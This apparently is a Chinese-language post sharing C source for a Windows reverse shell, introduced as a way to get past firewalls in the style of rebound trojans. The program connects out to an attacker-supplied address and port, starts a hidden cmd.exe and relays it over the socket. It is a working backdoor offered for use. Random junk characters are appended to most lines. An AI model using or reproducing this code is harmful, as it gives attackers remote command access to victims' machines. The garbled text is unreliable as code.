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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LE" t'R   
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/* ============================== o=,q4;R'  
Rebound port in Windows NT 5>e3srKu  
By wind,2006/7 Dn#GoDMJ[  
===============================*/ oiS>:de%tc  
#include H3?HQ>&O7  
#include O+o4E?}  
bLHj<AX#>|  
#pragma comment(lib,"wsock32.lib") #{t?[JUn  
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void OutputShell(); oo:(GfO}  
SOCKET sClient; y+C.2 ca  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8w[nY.#T  
xGzp}   
void main(int argc,char **argv) ;8G( l   
{ N9M''H *VS  
WSADATA stWsaData; #0+`dI_5/  
int nRet; XgfaTX*  
SOCKADDR_IN stSaiClient,stSaiServer; O;ty k_yM  
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if(argc != 3) rX*ATN  
{ wM^_pah#Y5  
printf("Useage:\n\rRebound DestIP DestPort\n"); {c3u!} mW  
return; y,*>+xk,  
} LE|*Je3a  
a s{^~8B  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1xJc[q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O@ GEl  
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stSaiClient.sin_family = AF_INET; kJJUu  
stSaiClient.sin_port = htons(0); n>w/T"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r*'X]q|L+  
6G<t1?_yD  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xF+a.gAIb  
{ D{](5?$`|  
printf("Bind Socket Failed!\n"); f|*vWHSM  
return; @R|Gz/  
} CTbz?Kn  
? Q`Sx  
stSaiServer.sin_family = AF_INET; 4)BPrWea1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e%v<nGN.-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jDp]}d|f)  
J#0oL_xY#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q/%(&4>'y  
{ EzDj,!!<w  
printf("Connect Error!"); `J>76WN  
return; lD8&*5tDmP  
} 5PJB<M_m:  
OutputShell(); $Yr'`(Cbc  
} XcS 8{  
[\ M=w7  
void OutputShell() y1JxAj  
{ OZF^w[ `w  
char szBuff[1024]; zs@#.OEH  
SECURITY_ATTRIBUTES stSecurityAttributes; j;tT SNF  
OSVERSIONINFO stOsversionInfo; P}%0YJ$6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [I;5V=bKW  
STARTUPINFO stStartupInfo; 1GnT^u y/  
char *szShell; H(^O{JC]y!  
PROCESS_INFORMATION stProcessInformation; gDw:Z/1X`  
unsigned long lBytesRead; 5dV Sir  
brkR,(#L3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0,T'z,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >@yHa'*9S  
stSecurityAttributes.lpSecurityDescriptor = 0; 3&D;V;ON}_  
stSecurityAttributes.bInheritHandle = TRUE; m[7i<'+S  
IeqJ>t:   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -$(,&qyk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ) #/@Jo2F  
({ 7tp!@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DRo@gYDn  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |\ 1?CYx  
stStartupInfo.wShowWindow = SW_HIDE; 9E (VU.  
stStartupInfo.hStdInput = hReadPipe; 8 oHyNo  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h^P>,dy0  
cJ G><'  
GetVersionEx(&stOsversionInfo); g<[_h(xDeG  
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switch(stOsversionInfo.dwPlatformId) ];waK 2'2  
{ .(Gq9m[~8H  
case 1: E6SGK,f0D  
szShell = "command.com"; J~5VL |ca  
break; Vrf+ ~KO7  
default: gY], (*v  
szShell = "cmd.exe"; kO:iA0KUX  
break; YC:>)  
} 7@MGs2  
;SzOa7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v hUn3|  
qy`95^  
send(sClient,szMsg,77,0); s D] W/  
while(1) rsP3?.E  
{ |H.(?!nTb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q|,I\H5}  
if(lBytesRead) rO% |PRP  
{ )* @Oz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D<[4}og&]  
send(sClient,szBuff,lBytesRead,0); *M_.>".P  
} P-L<D!25  
else >Au]S `  
{ IKM=Q. 7j  
lBytesRead=recv(sClient,szBuff,1024,0); ui4H(A'}  
if(lBytesRead<=0) break; kb?QQ\e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &0O1tM*v  
} 5Qp5JMK  
} 1\7SiQ-  
"D7*en  
return; ;p"G<n  
}
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